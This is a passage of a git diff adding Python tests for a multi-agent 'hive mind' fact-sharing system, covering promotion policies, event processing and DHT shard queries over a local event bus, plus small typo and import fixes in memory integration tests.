content="test", concept="test", confidence=0.3) + assert not policy.should_promote(fact, "agent_a") + + +def test_default_policy_blocks_retracted() -> None: + policy = DefaultPromotionPolicy(promote_threshold=0.1) + fact = HiveFact(fact_id="f1", content="test", concept="test", confidence=0.9, status="retracted") + assert not policy.should_promote(fact, "agent_a") + + +def test_default_policy_gossip_threshold() -> None: + policy = DefaultPromotionPolicy(gossip_threshold=0.5) + fact_high = HiveFact(fact_id="f1", content="test", concept="test", confidence=0.8) + fact_low = HiveFact(fact_id="f2", content="test2", concept="test", confidence=0.2) + assert policy.should_gossip(fact_high, "agent_a") + assert not policy.should_gossip(fact_low, "agent_a") + + +def test_default_policy_broadcast_threshold() -> None: + policy = DefaultPromotionPolicy(broadcast_threshold=0.9) + fact_high = HiveFact(fact_id="f1", content="test", concept="test", confidence=0.95) + fact_low = HiveFact(fact_id="f2", content="test2", concept="test", confidence=0.5) + assert policy.should_broadcast(fact_high, "agent_a") + assert not policy.should_broadcast(fact_low, "agent_a") + + +# --------------------------------------------------------------------------- +# store_and_promote +# --------------------------------------------------------------------------- + + +def test_store_and_promote_returns_promoted_true(orch: HiveMindOrchestrator, hive: InMemoryHiveGraph) -> None: + result = orch.store_and_promote("Biology", "DNA stores genetic information", 0.9) + assert result["promoted"] is True + assert result["fact_id"] + # Fact is actually in the hive + facts = hive.query_facts("DNA genetic") + assert any("DNA" in f.content for f in facts) + + +def test_store_and_promote_publishes_event(orch: HiveMindOrchestrator, bus: LocalEventBus) -> None: + # Subscribe a second agent so the bus stores the event + bus.subscribe("agent_b") + orch.store_and_promote("Science", "Water is H2O", 0.95) + events = bus.poll("agent_b") + assert any(e.event_type == "FACT_PROMOTED" for e in events) + + +def test_store_and_promote_low_confidence_not_promoted(orch: HiveMindOrchestrator, hive: InMemoryHiveGraph) -> None: + # Default promote_threshold is DEFAULT_CONFIDENCE_GATE (0.3); use 0.0 + result = orch.store_and_promote("Science", "Very uncertain claim", 0.0) + assert result["promoted"] is False + assert result["event_published"] is False + + +def test_store_and_promote_with_custom_policy(hive: InMemoryHiveGraph, bus: LocalEventBus) -> None: + strict_policy = DefaultPromotionPolicy(promote_threshold=0.99) + orch = HiveMindOrchestrator( + agent_id="agent_a", + hive_graph=hive, + event_bus=bus, + policy=strict_policy, + ) + result = orch.store_and_promote("Science", "Common knowledge", 0.8) + assert result["promoted"] is False + + +def test_store_and_promote_confidence_clamped(orch: HiveMindOrchestrator, hive: InMemoryHiveGraph) -> None: + # Confidence above 1.0 should be clamped + result = orch.store_and_promote("Test", "Clamped fact", 2.5) + assert result["promoted"] is True + facts = hive.query_facts("Clamped fact") + assert all(f.confidence <= 1.0 for f in facts) + + +# --------------------------------------------------------------------------- +# query_unified +# --------------------------------------------------------------------------- + + +def test_query_unified_returns_results(orch: HiveMindOrchestrator) -> None: + orch.store_and_promote("Biology", "Mitochondria is the powerhouse of the cell", 0.9) + results = orch.query_unified("mitochondria cell") + assert len(results) >= 1 + assert all("fact_id" in r for r in results) + assert all("content" in r for r in results) + + +def test_query_unified_deduplicates(orch: HiveMindOrchestrator) -> None: + # Store the same content twice + orch.store_and_promote("Science", "E equals mc squared", 0.9) + orch.store_and_promote("Science", "E equals mc squared", 0.8) + results = orch.query_unified("E mc squared") + contents = [r["content"] for r in results] + assert len(contents) == len(set(contents)) + + +def test_query_unified_respects_limit(orch: HiveMindOrchestrator) -> None: + for i in range(10): + orch.store_and_promote("Topic", f"Unique fact number {i}", 0.9) + results = orch.query_unified("fact", limit=3) + assert len(results) <= 3 + + +def test_query_unified_result_schema(orch: HiveMindOrchestrator) -> None: + orch.store_and_promote("Schema", "Schema test content", 0.9) + results = orch.query_unified("schema test") + assert results, "Expected at least one result" + r = results[0] + for key in ("fact_id", "concept", "content", "confidence", "source_agent", "tags", "status"): + assert key in r, f"Missing key: {key}" + + +def test_query_unified_no_results_for_unrelated(orch: HiveMindOrchestrator) -> None: + orch.store_and_promote("Biology", "DNA stores genetic information", 0.9) + results = orch.query_unified("quantum physics superconductor") + # May return some results from keyword overlap -- just check no crash + assert isinstance(results, list) + + +# --------------------------------------------------------------------------- +# process_event +# --------------------------------------------------------------------------- + + +def test_process_event_incorporates_fact_promoted(orch: HiveMindOrchestrator) -> None: + event = make_event( + event_type="FACT_PROMOTED", + source_agent="agent_b", + payload={ + "fact_id": "hf_abc", + "concept": "Chemistry", + "content": "Water boils at 100 degrees Celsius", + "confidence": 0.9, + "tags": [], + }, + ) + result = orch.process_event(event) + assert result["incorporated"] is True + assert result["fact_id"] is not None + + +def test_process_event_rejects_unknown_type(orch: HiveMindOrchestrator) -> None: + event = make_event( + event_type="AGENT_READY", + source_agent="agent_b", + payload={}, + ) + result = orch.process_event(event) + assert result["incorporated"] is False + assert "not a FACT_PROMOTED event" in result["reason"] + + +def test_process_event_rejects_empty_content(orch: HiveMindOrchestrator) -> None: + event = make_event( + event_type="FACT_PROMOTED", + source_agent="agent_b", + payload={"concept": "Science", "content": "", "confidence": 0.9}, + ) + result = orch.process_event(event) + assert result["incorporated"] is False + + +def test_process_event_applies_confidence_discount(orch: HiveMindOrchestrator, hive: InMemoryHiveGraph) -> None: + event = make_event( + event_type="FACT_PROMOTED", + source_agent="agent_b", + payload={ + "concept": "Physics", + "content": "Light travels at 299792458 m/s", + "confidence": 1.0, + "tags": [], + }, + ) + orch.process_event(event) + facts = hive.query_facts("light travels") + peer_facts = [f for f in facts if "peer_from:agent_b" in f.tags] + assert peer_facts, "Expected a peer-sourced fact" + assert peer_facts[0].confidence < 1.0, "Peer confidence should be discounted" + + +def test_process_event_low_confidence_not_incorporated() -> None: + hive = InMemoryHiveGraph("test-hive") + hive.register_agent("agent_a") + bus = LocalEventBus() + bus.subscribe("agent_a") + # Use a high promote_threshold so even discounted peer facts are blocked + policy = DefaultPromotionPolicy(promote_threshold=0.99) + orch = HiveMindOrchestrator( + agent_id="agent_a", + hive_graph=hive, + event_bus=bus, + policy=policy, + ) + event = make_event( + event_type="FACT_PROMOTED", + source_agent="agent_b", + payload={"concept": "Test", "content": "Low confidence claim", "confidence": 0.5}, + ) + result = orch.process_event(event) + assert result["incorporated"] is False + assert "below promotion threshold" in result["reason"] + + +# --------------------------------------------------------------------------- +# drain_events +# --------------------------------------------------------------------------- + + +def test_drain_events_processes_pending(orch: HiveMindOrchestrator, bus: LocalEventBus) -> None: + # Simulate a peer publishing two events to agent_a's subscription + bus.subscribe("agent_b") + for i in range(2): + event = make_event( + event_type="FACT_PROMOTED", + source_agent="agent_b", + payload={ + "concept": "Drain", + "content": f"Drain test fact {i}", + "confidence": 0.85, + "tags": [], + }, + ) + bus.publish(event) + + results = orch.drain_events() + # Both events should have been processed + assert len(results) == 2 + incorporated = [r for r in results if r["incorporated"]] + assert len(incorporated) == 2 + + +def test_drain_events_empty_returns_empty_list(orch: HiveMindOrchestrator) -> None: + results = orch.drain_events() + assert results == [] + + +# --------------------------------------------------------------------------- +# run_gossip_round +# --------------------------------------------------------------------------- + + +def test_run_gossip_round_no_peers(orch: HiveMindOrchestrator) -> None: + result = orch.run_gossip_round() + assert result["peers_contacted"] == 0 + assert result["skipped"] is not None + + +def test_run_gossip_round_with_peer(hive: InMemoryHiveGraph, bus: LocalEventBus) -> None: + peer_hive = InMemoryHiveGraph("peer-hive") + peer_hive.register_agent("peer_agent") + + orch = HiveMindOrchestrator( + agent_id="agent_a", + hive_graph=hive, + event_bus=bus, + peers=[peer_hive], + ) + # Promote a fact so gossip has something to share + orch.store_and_promote("Science", "Gravity pulls objects toward Earth", 0.9) + result = orch.run_gossip_round() + # Either gossip ran (peers_contacted >= 0) or skipped gracefully + assert isinstance(result["peers_contacted"], int) + + +# --------------------------------------------------------------------------- +# Properties and lifecycle +# --------------------------------------------------------------------------- + + +def test_agent_id_property(orch: HiveMindOrchestrator) -> None: + assert orch.agent_id == "agent_a" + + +def test_peers_property_is_copy(orch: HiveMindOrchestrator, hive: InMemoryHiveGraph) -> None: + peer = InMemoryHiveGraph("peer-hive") + orch.add_peer(peer) + peers_copy = orch.peers + peers_copy.clear() + assert len(orch.peers) == 1, "Modifying the copy should not affect internal state" + + +def test_close_does_not_raise(orch: HiveMindOrchestrator) -> None: + orch.close() # Should not raise + + +def test_close_idempotent(orch: HiveMindOrchestrator) -> None: + orch.close() + orch.close() # Second close should also not raise diff --git a/tests/integration/memory/test_agent_review.py b/tests/integration/memory/test_agent_review.py index 76268331c..9744db2a2 100644 --- a/tests/integration/memory/test_agent_review.py +++ b/tests/integration/memory/test_agent_review.py @@ -1,7 +1,7 @@ -"""Integration tests fer multi-agent review coordination. +"""Integration tests for multi-agent review coordination. Tests parallel agent invocation and consensus building -fer memory importance scoring. +for memory importance scoring. Philosophy: - Test agent coordination (mocked Task tool) @@ -25,22 +25,22 @@ ParallelReviewer, ) - from amplihack.memory.types import MemoryType + from amplihack.memory.models import MemoryType except ImportError: pytest.skip("Agent review not implemented yet", allow_module_level=True) class TestParallelAgentReview: - """Test parallel agent invocation fer reviews.""" + """Test parallel agent invocation for reviews.""" @pytest.fixture def mock_task_tool(self): - """Mock Task tool fer agent invocation.""" + """Mock Task tool for agent invocation.""" return AsyncMock() @pytest.mark.asyncio async def test_three_agents_invoked_in_parallel(self, mock_task_tool): - """Three agents invoked in parallel fer efficiency.""" + """Three agents invoked in parallel for efficiency.""" coordinator = AgentReviewCoordinator() # Mock agent responses @@ -118,7 +118,7 @@ class TestAgentReviewContent: @pytest.fixture def mock_task_tool(self): - """Mock Task tool fer capturing prompts.""" + """Mock Task tool for capturing prompts.""" return AsyncMock() @pytest.mark.asyncio diff --git a/tests/integration/memory/test_retrieval_flow.py b/tests/integration/memory/test_retrieval_flow.py index 31755f3c4..b62b9f8d9 100644 --- a/tests/integration/memory/test_retrieval_flow.py +++ b/tests/integration/memory/test_retrieval_flow.py @@ -1,4 +1,4 @@ -"""Integration tests fer complete retrieval flow. +"""Integration tests for complete retrieval flow. Tests end-to-end retrieval from query through relevance scoring to context formatting. @@ -22,7 +22,7 @@ RetrievalPipeline, RetrievalQuery, ) - from amplihack.memory.types import MemoryEntry, MemoryType + from amplihack.memory.models import MemoryEntry, MemoryType except ImportError: pytest.skip("Memory system not implemented yet", allow_module_level=True) @@ -84,7 +84,7 @@ def temp_db(self, tmp_path): @pytest.mark.asyncio async def test_retrieve_relevant_memories_fer_query(self, temp_db): - """Retrieve relevant memories fer specific query.""" + """Retrieve relevant memories for specific query.""" pipeline = RetrievalPipeline(database=temp_db) query = RetrievalQuery( @@ -206,7 +206,7 @@ async def test_retrieve_filters_by_time_range(self, temp_db): @pytest.mark.asyncio async def test_retrieve_empty_fer_no_matches(self, temp_db): - """Retrieval returns empty fer no matches.""" + """Retrieval returns empty for no matches.""" pipeline = RetrievalPipeline(database=temp_db) query = RetrievalQuery( @@ -221,7 +221,7 @@ async def test_retrieve_empty_fer_no_matches(self, temp_db): @pytest.mark.asyncio async def test_retrieve_formatted_context(self, temp_db): - """Retrieval provides formatted context fer injection.""" + """Retrieval provides formatted context for injection.""" pipeline = RetrievalPipeline(database=temp_db) query = RetrievalQuery( @@ -493,8 +493,8 @@ async def test_formatted_context_respects_token_budget(self, temp_db): # Count tokens in formatted context tokens = TokenCounter.count(formatted) - # Should stay within budget (allow small overhead fer formatting) - assert tokens <= 550 # 10% overhead allowed fer labels/formatting + # Should stay within budget (allow small overhead for formatting) + assert tokens <= 550 # 10% overhead allowed for labels/formatting class TestRetrievalErrorHandling: diff --git a/tests/integration/memory/test_storage_flow.py b/tests/integration/memory/test_storage_flow.py index 9afdd1d31..4a0229e75 100644 --- a/tests/integration/memory/test_storage_flow.py +++ b/tests/integration/memory/test_storage_flow.py @@ -1,4 +1,4 @@ -"""Integration tests fer complete storage flow. +"""Integration tests for complete storage flow. Tests end-to-end storage from request through agent review to database persistence. @@ -22,7 +22,7 @@ from amplihack.memory.coordinator import MemoryCoordinator from amplihack.memory.database import MemoryDatabase from amplihack.memory.storage_pipeline import StoragePipeline, StorageRequest - from amplihack.memory.types import MemoryType + from amplihack.memory.models import MemoryType except ImportError: pytest.skip("Memory system not implemented yet", allow_module_level=True) @@ -32,7 +32,7 @@ class TestStorageFlowIntegration: @pytest.fixture def temp_db(self, tmp_path): - """Create temporary SQLite database fer testing.""" + """Create temporary SQLite database for testing.""" db_path = tmp_path / "test_memory.db" db = MemoryDatabase(db_path) db.initialize() @@ -41,7 +41,7 @@ def temp_db(self, tmp_path): @pytest.fixture def mock_task_tool(self): - """Mock Task tool fer agent invocation.""" + """Mock Task tool for agent invocation.""" return AsyncMock() @pytest.mark.asyncio diff --git a/tests/integration/test_distributed_hive_e2e.py b/tests/integration/test_distributed_hive_e2e.py new file mode 100644 index 000000000..ae841f6e6 --- /dev/null +++ b/tests/integration/test_distributed_hive_e2e.py @@ -0,0 +1,999 @@ +"""End-to-end integration test for DHT-based distributed hive sharding (issue #3034). + +Validates the full data flow using proper DHT sharding (not replication): + Agent-0 promotes facts to its local DistributedHiveGraph shard + -> Agent-0 shard is queryable via SHARD_QUERY/SHARD_RESPONSE protocol + -> Agent-1 sends SHARD_QUERY via EventHubsShardTransport (local bridge) + -> Agent-0's transport responds with SHARD_RESPONSE + -> Agent-1 receives cross-shard facts without replication + +Key property: each agent stores only its DHT-assigned shard (O(F/N) per agent), +not all facts replicated to every agent (O(F) per agent). + +All tests run locally with no Azure, no LLM, no network. +Uses LocalEventBus as an in-process publish/subscribe bridge for +EventHubsShardTransport instances (replaces AzureServiceBus). + +DI pattern: EventHubsShardTransport injected into DistributedHiveGraph. +Agent code is transport-agnostic — GoalSeekingAgent receives DistributedHiveGraph +directly as hive_store with no wrapper classes. +""" + +from __future__ import annotations + +import importlib.util +import tempfile +import threading +import time +import uuid +from pathlib import Path + +import pytest + +from amplihack.agents.goal_seeking.cognitive_adapter import CognitiveAdapter +from amplihack.agents.goal_seeking.goal_seeking_agent import GoalSeekingAgent +from amplihack.agents.goal_seeking.hive_mind.distributed_hive_graph import ( + DistributedHiveGraph, + EventHubsShardTransport, +) +from amplihack.agents.goal_seeking.hive_mind.event_bus import ( + BusEvent, + LocalEventBus, + make_event, +) +from amplihack.agents.goal_seeking.hive_mind.hive_graph import HiveFact + + +def _make_eh_transport(bus: LocalEventBus, agent_id: str, timeout: float = 5.0) -> EventHubsShardTransport: + """Create EventHubsShardTransport wired to a LocalEventBus for in-process testing. + + Uses ``_start_receiving=False`` to skip the background Azure EH consumer + thread. ``_publish`` is monkey-patched to route events through the shared + LocalEventBus so tests can use ``bus.publish`` / ``bus.poll`` patterns + identical to the original ServiceBus-backed transport tests they replace. + """ + t = EventHubsShardTransport( + connection_string="local://test", + eventhub_name="hive-shards-test", + agent_id=agent_id, + _start_receiving=False, + timeout=timeout, + ) + + def _publish(payload: dict, partition_key: str | None = None) -> None: + evt = BusEvent( + event_id=payload.get("event_id", uuid.uuid4().hex), + event_type=payload["event_type"], + source_agent=payload.get("source_agent", ""), + timestamp=payload.get("timestamp", time.time()), + payload=payload["payload"], + ) + bus.publish(evt) + + t._publish = _publish # type: ignore[method-assign] + t.poll = bus.poll # type: ignore[method-assign] + + return t + +# Load _shard_query_listener from the deploy entrypoint +_ENTRYPOINT_PATH = ( + Path(__file__).resolve().parents[2] / "deploy" / "azure_hive" / "agent_entrypoint.py" +) +_spec = importlib.util.spec_from_file_location("agent_entrypoint", _ENTRYPOINT_PATH) +assert _spec is not None and _spec.loader is not None +_entrypoint = importlib.util.module_from_spec(_spec) +_spec.loader.exec_module(_entrypoint) +_shard_query_listener = _entrypoint._shard_query_listener + + +def _make_fact(content: str, concept: str, agent_id: str, confidence: float = 0.9) -> HiveFact: + return HiveFact( + fact_id="", + content=content, + concept=concept, + confidence=confidence, + source_agent=agent_id, + tags=[concept], + created_at=time.time(), + ) + + +# --------------------------------------------------------------------------- +# Fixtures +# --------------------------------------------------------------------------- + + +@pytest.fixture() +def two_shard_cluster(): + """Two agents each with EventHubsShardTransport + DistributedHiveGraph and a shared bus. + + DI pattern: transport is injected into graph; graph passed directly as hive_store. + Uses LocalEventBus bridge so EH transports communicate in-process without Azure. + """ + bus = LocalEventBus() + + # Agent-0: owns its DHT shard + transport_0 = _make_eh_transport(bus, "agent-0") + dht_0 = DistributedHiveGraph( + hive_id="shard-agent-0", enable_gossip=False, transport=transport_0 + ) + dht_0.register_agent("agent-0") + bus.subscribe("agent-0") + + # Agent-1: owns its DHT shard + transport_1 = _make_eh_transport(bus, "agent-1") + dht_1 = DistributedHiveGraph( + hive_id="shard-agent-1", enable_gossip=False, transport=transport_1 + ) + dht_1.register_agent("agent-1") + bus.subscribe("agent-1") + + yield { + "bus": bus, + "dht_0": dht_0, + "dht_1": dht_1, + "transport_0": transport_0, + "transport_1": transport_1, + } + + bus.close() + + +# --------------------------------------------------------------------------- +# Phase 1: Core data flow — DHT sharding, not replication +# --------------------------------------------------------------------------- + + +class TestDHTShardDataFlow: + """Verify facts stay in their shard and are retrieved via cross-shard query.""" + + def test_promote_fact_stores_locally_no_replication(self, two_shard_cluster): + """promote_fact stores in local shard only — no FACT_PROMOTED event published.""" + dht_0 = two_shard_cluster["dht_0"] + dht_1 = two_shard_cluster["dht_1"] + bus = two_shard_cluster["bus"] + + fact = _make_fact("Mitochondria are the powerhouse of the cell", "biology", "agent-0") + dht_0.promote_fact("agent-0", fact) + + # Fact stored in agent-0's shard + facts_0 = dht_0.query_facts("mitochondria") + assert any("Mitochondria" in f.content for f in facts_0) + + # NOT in agent-1's shard (no replication) + facts_1 = dht_1.query_facts("mitochondria") + assert len(facts_1) == 0 + + # No event published to bus (local bypass — no SHARD_STORE broadcast) + bus_events = bus.poll("agent-1") + assert bus_events == [], "Local store must not broadcast facts via bus" + + def test_total_storage_equals_facts_promoted(self, two_shard_cluster): + """With two shards, total stored facts == promoted facts (no replication).""" + dht_0 = two_shard_cluster["dht_0"] + dht_1 = two_shard_cluster["dht_1"] + + # Each agent promotes one fact to its own shard + dht_0.promote_fact("agent-0", _make_fact("Alpha fact", "alpha", "agent-0")) + dht_1.promote_fact("agent-1", _make_fact("Beta fact", "beta", "agent-1")) + + total_0 = dht_0.get_stats()["fact_count"] + total_1 = dht_1.get_stats()["fact_count"] + + # Each shard has its own fact (DHT may route to either, but total = 2) + assert total_0 + total_1 == 2, ( + f"Expected 2 facts total (no replication), got {total_0 + total_1}" + ) + + def test_cross_shard_query_via_shard_query_protocol(self, two_shard_cluster): + """agent-1 can retrieve agent-0's facts via SHARD_QUERY/SHARD_RESPONSE.""" + dht_0 = two_shard_cluster["dht_0"] + transport_0 = two_shard_cluster["transport_0"] + bus = two_shard_cluster["bus"] + + # Agent-0 promotes a fact + dht_0.promote_fact( + "agent-0", + _make_fact("Sarah Chen was born on March 15, 1992", "people", "agent-0"), + ) + + # Agent-1 asks via SHARD_QUERY + correlation_id = uuid.uuid4().hex + query_event = make_event( + event_type="SHARD_QUERY", + source_agent="agent-1", + payload={"query": "Sarah Chen", "limit": 5, "correlation_id": correlation_id}, + ) + bus.publish(query_event) + + # Agent-0 processes the SHARD_QUERY and responds via its transport + for event in bus.poll("agent-0"): + if event.event_type == "SHARD_QUERY": + transport_0.handle_shard_query(event) + + # Agent-1 receives SHARD_RESPONSE + response_facts: list[dict] = [] + for event in bus.poll("agent-1"): + if ( + event.event_type == "SHARD_RESPONSE" + and event.payload.get("correlation_id") == correlation_id + ): + response_facts.extend(event.payload.get("facts", [])) + + texts = [f["content"] for f in response_facts] + assert any("Sarah Chen" in t or "March 15" in t for t in texts), ( + f"Cross-shard query did not return expected facts. Got: {texts}" + ) + + def test_shard_response_wakes_pending_query_event(self, two_shard_cluster): + """SHARD_RESPONSE fires threading.Event without sleep — event-driven.""" + dht_0 = two_shard_cluster["dht_0"] + transport_0 = two_shard_cluster["transport_0"] + transport_1 = two_shard_cluster["transport_1"] + bus = two_shard_cluster["bus"] + + dht_0.promote_fact( + "agent-0", _make_fact("The speed of light is 299792458 m/s", "physics", "agent-0") + ) + + # Set up pending query with threading.Event in transport_1 + correlation_id = uuid.uuid4().hex + done = threading.Event() + results: list[dict] = [] + with transport_1._pending_lock: + transport_1._pending[correlation_id] = (done, results) + + # Simulate SHARD_RESPONSE arriving from agent-0 + query_event = make_event( + event_type="SHARD_QUERY", + source_agent="agent-1", + payload={"query": "speed light", "limit": 5, "correlation_id": correlation_id}, + ) + bus.publish(query_event) + for event in bus.poll("agent-0"): + if event.event_type == "SHARD_QUERY": + transport_0.handle_shard_query(event) + + # Now agent-1 receives the SHARD_RESPONSE + for event in bus.poll("agent-1"): + if event.event_type == "SHARD_RESPONSE": + transport_1.handle_shard_response(event) + + # threading.Event should be set without any sleep + assert done.is_set(), "Pending query done_event was not set by SHARD_RESPONSE" + assert any("299792458" in r.get("content", "") for r in results), ( + f"Cross-shard facts not in results. Got: {results}" + ) + + +# --------------------------------------------------------------------------- +# Phase 2: CognitiveAdapter integration with DistributedHiveGraph (DI) +# --------------------------------------------------------------------------- + + +class TestCognitiveAdapterWithShardedHive: + """Verify CognitiveAdapter.search() works with DistributedHiveGraph directly.""" + + def test_search_returns_local_shard_facts(self, two_shard_cluster): + """Local shard facts are returned by CognitiveAdapter.search().""" + dht_1 = two_shard_cluster["dht_1"] + + dht_1.promote_fact( + "agent-1", + _make_fact("Chloroplasts contain chlorophyll", "biology", "agent-1"), + ) + + with tempfile.TemporaryDirectory() as tmpdir: + # Pass DistributedHiveGraph directly as hive_store — no wrapper + adapter = CognitiveAdapter( + agent_name="agent-1", + db_path=Path(tmpdir) / "agent-1", + hive_store=dht_1, + quality_threshold=0.0, + confidence_gate=0.0, + ) + + results = adapter.search("chloroplasts chlorophyll") + contents = [r.get("outcome", "") for r in results] + assert any( + "chloroplast" in c.lower() or "chlorophyll" in c.lower() for c in contents + ), f"Local shard fact missing from search results: {contents}" + + +# --------------------------------------------------------------------------- +# Phase 3: GoalSeekingAgent orient() surfaces local shard facts +# --------------------------------------------------------------------------- + + +class TestOrientSurfacesLocalShardFacts: + """Verify orient() returns facts from the local DHT shard.""" + + def test_orient_includes_local_shard_facts_in_context(self, two_shard_cluster): + dht_1 = two_shard_cluster["dht_1"] + + dht_1.promote_fact( + "agent-1", + _make_fact("Sarah Chen was born on March 15, 1992", "people", "agent-1"), + ) + + with tempfile.TemporaryDirectory() as tmpdir: + # Pass DistributedHiveGraph directly as hive_store — no wrapper + agent = GoalSeekingAgent( + agent_name="agent-1", + storage_path=Path(tmpdir), + use_hierarchical=True, + hive_store=dht_1, + ) + + agent.observe("When was Sarah Chen born?") + context = agent.orient() + + facts = context.get("facts", []) + fact_text = " ".join(str(f) for f in facts) + + assert "Sarah Chen" in fact_text or "March 15" in fact_text or "1992" in fact_text, ( + f"orient() did not surface local shard fact about Sarah Chen. Got facts: {facts}" + ) + + +# --------------------------------------------------------------------------- +# Phase 4: Background _shard_query_listener handles queries event-driven +# --------------------------------------------------------------------------- + + +class TestShardQueryListenerThread: + """Verify the _shard_query_listener background thread handles queries without sleep.""" + + def test_listener_responds_to_shard_query(self, two_shard_cluster): + """_shard_query_listener responds to SHARD_QUERY from peer agents.""" + dht_0 = two_shard_cluster["dht_0"] + transport_0 = two_shard_cluster["transport_0"] + bus = two_shard_cluster["bus"] + + dht_0.promote_fact( + "agent-0", + _make_fact("DNA carries genetic information", "biology", "agent-0"), + ) + + shutdown = threading.Event() + # _shard_query_listener now takes (transport, agent_id, bus, shutdown) + listener = threading.Thread( + target=_shard_query_listener, + args=(transport_0, "agent-0", bus, shutdown), + daemon=True, + name="test-shard-listener", + ) + listener.start() + + try: + # Send SHARD_QUERY from agent-1 + correlation_id = uuid.uuid4().hex + query_event = make_event( + event_type="SHARD_QUERY", + source_agent="agent-1", + payload={"query": "genetic DNA", "limit": 5, "correlation_id": correlation_id}, + ) + bus.publish(query_event) + + # Wait for SHARD_RESPONSE in agent-1's mailbox (event-driven wait) + deadline = time.time() + 2.0 + response_facts: list[dict] = [] + while time.time() < deadline and not response_facts: + for event in bus.poll("agent-1"): + if ( + event.event_type == "SHARD_RESPONSE" + and event.payload.get("correlation_id") == correlation_id + ): + response_facts.extend(event.payload.get("facts", [])) + if not response_facts: + time.sleep(0.01) # Thread yielding only, not a timing assumption + + texts = [f["content"] for f in response_facts] + assert any("DNA" in t or "genetic" in t for t in texts), ( + f"_shard_query_listener did not respond with correct facts. Got: {texts}" + ) + finally: + shutdown.set() + listener.join(timeout=2.0) + + def test_listener_exits_on_shutdown(self, two_shard_cluster): + """_shard_query_listener exits cleanly when shutdown_event is set.""" + transport_0 = two_shard_cluster["transport_0"] + bus = two_shard_cluster["bus"] + + shutdown = threading.Event() + listener = threading.Thread( + target=_shard_query_listener, + args=(transport_0, "agent-0", bus, shutdown), + daemon=True, + ) + listener.start() + + shutdown.set() + listener.join(timeout=2.0) + assert not listener.is_alive(), "_shard_query_listener did not exit after shutdown" + + +# --------------------------------------------------------------------------- +# Phase 5: 5-agent cluster — production-topology repro (issue #3034) +# --------------------------------------------------------------------------- + + +@pytest.fixture() +def five_agent_cluster(): + """Five agents each with EventHubsShardTransport + shared LocalEventBus bridge. + + Mirrors the production topology from _init_dht_hive: ALL agents are + registered on EACH agent's DHT ring so the ring topology is shared. + Only the local agent's ShardStore receives stored facts (Bug 1 fix). + Queries fan out to ALL agents via SHARD_QUERY/SHARD_RESPONSE (Bug 2 fix). + Uses LocalEventBus bridge so EH transports communicate in-process without Azure. + """ + bus = LocalEventBus() + agent_names = [f"agent-{i}" for i in range(5)] + + dhts: dict[str, DistributedHiveGraph] = {} + transports: dict[str, EventHubsShardTransport] = {} + + for name in agent_names: + bus.subscribe(name) + transport = _make_eh_transport(bus, name, timeout=3.0) + dht = DistributedHiveGraph( + hive_id=f"shard-{name}", enable_gossip=False, transport=transport + ) + # Mirror _init_dht_hive: register ALL agents on every ring + for peer in agent_names: + dht.register_agent(peer) + dhts[name] = dht + transports[name] = transport + + yield {"bus": bus, "dhts": dhts, "transports": transports, "agent_names": agent_names} + + bus.close() + + +class TestFiveAgentCluster: + """5-agent production-topology repro: cross-shard queries work after both fixes.""" + + def test_promote_fact_stores_locally_not_remote_shard(self, five_agent_cluster): + """Bug 1 fix: fact promoted by agent-0 stays in agent-0's local shard.""" + dhts = five_agent_cluster["dhts"] + + dhts["agent-0"].promote_fact( + "agent-0", + _make_fact("Sarah Chen was born on March 15, 1992", "people", "agent-0"), + ) + + # Fact is in agent-0's own shard + facts_0 = dhts["agent-0"].query_facts("Sarah Chen") + assert any("Sarah Chen" in f.content for f in facts_0), ( + f"agent-0's local shard should hold the promoted fact. Got: {[f.content for f in facts_0]}" + ) + + def test_agent1_queries_agent0_facts_via_shard_query_protocol(self, five_agent_cluster): + """agent-1 retrieves facts stored by agent-0 via SHARD_QUERY/SHARD_RESPONSE.""" + dhts = five_agent_cluster["dhts"] + transports = five_agent_cluster["transports"] + bus = five_agent_cluster["bus"] + agent_names = five_agent_cluster["agent_names"] + + # agent-0 promotes a fact (stored locally in agent-0's shard — Bug 1 fix) + dhts["agent-0"].promote_fact( + "agent-0", + _make_fact("Sarah Chen was born on March 15, 1992", "people", "agent-0"), + ) + + # Start shard listeners for all agents except agent-1 (the querier) + shutdown = threading.Event() + listeners = [] + for name in agent_names: + if name == "agent-1": + continue + t = threading.Thread( + target=_shard_query_listener, + args=(transports[name], name, bus, shutdown), + daemon=True, + name=f"shard-{name}", + ) + t.start() + listeners.append(t) + + try: + # agent-1 queries via its own DHT — Bug 2 fix fans out to all agents + # Start a listener thread for agent-1's SHARD_RESPONSE collection + def agent1_response_listener(): + while not shutdown.is_set(): + for event in bus.poll("agent-1"): + if event.event_type == "SHARD_RESPONSE": + transports["agent-1"].handle_shard_response(event) + time.sleep(0.005) + + t1 = threading.Thread(target=agent1_response_listener, daemon=True) + t1.start() + listeners.append(t1) + + # query_facts fans out SHARD_QUERY to all agents (Bug 2 fix) + results = dhts["agent-1"].query_facts("Sarah Chen", limit=10) + + texts = [f.content for f in results] + assert any("Sarah Chen" in t or "March 15" in t for t in texts), ( + f"agent-1 did not retrieve agent-0's fact via cross-shard query. Got: {texts}" + ) + finally: + shutdown.set() + for t in listeners: + t.join(timeout=2.0) + + def test_all_agents_can_retrieve_any_fact(self, five_agent_cluster): + """Each agent can retrieve facts stored by any other agent.""" + dhts = five_agent_cluster["dhts"] + transports = five_agent_cluster["transports"] + bus = five_agent_cluster["bus"] + agent_names = five_agent_cluster["agent_names"] + + # Each agent promotes a unique fact + facts_by_agent = { + "agent-0": "Alpha subject learned by agent zero", + "agent-2": "Gamma subject learned by agent two", + "agent-4": "Epsilon subject learned by agent four", + } + for agent_id, content in facts_by_agent.items(): + dhts[agent_id].promote_fact( + agent_id, + _make_fact(content, "test", agent_id), + ) + + # Start listeners for all agents + shutdown = threading.Event() + listeners = [] + for name in agent_names: + transport = transports[name] + + def make_listener(t, n): + def loop(): + while not shutdown.is_set(): + for event in bus.poll(n): + if event.event_type == "SHARD_QUERY": + t.handle_shard_query(event) + elif event.event_type == "SHARD_RESPONSE": + t.handle_shard_response(event) + time.sleep(0.005) + + return loop + + thread = threading.Thread( + target=make_listener(transport, name), daemon=True, name=f"listener-{name}" + ) + thread.start() + listeners.append(thread) + + try: + # agent-1 (which has no facts) queries for each stored fact + for agent_id, content in facts_by_agent.items(): + query_word = content.split()[0] + results = dhts["agent-1"].query_facts(query_word, limit=5) + texts = [f.content for f in results] + assert any(content in t for t in texts), ( + f"agent-1 could not retrieve '{content}' stored by {agent_id}. Got: {texts}" + ) + finally: + shutdown.set() + for t in listeners: + t.join(timeout=2.0) + + def test_target_agent_filter_prevents_wrong_agent_response(self, five_agent_cluster): + """Fix: handle_shard_query must ignore SHARD_QUERY not targeting this agent. + + 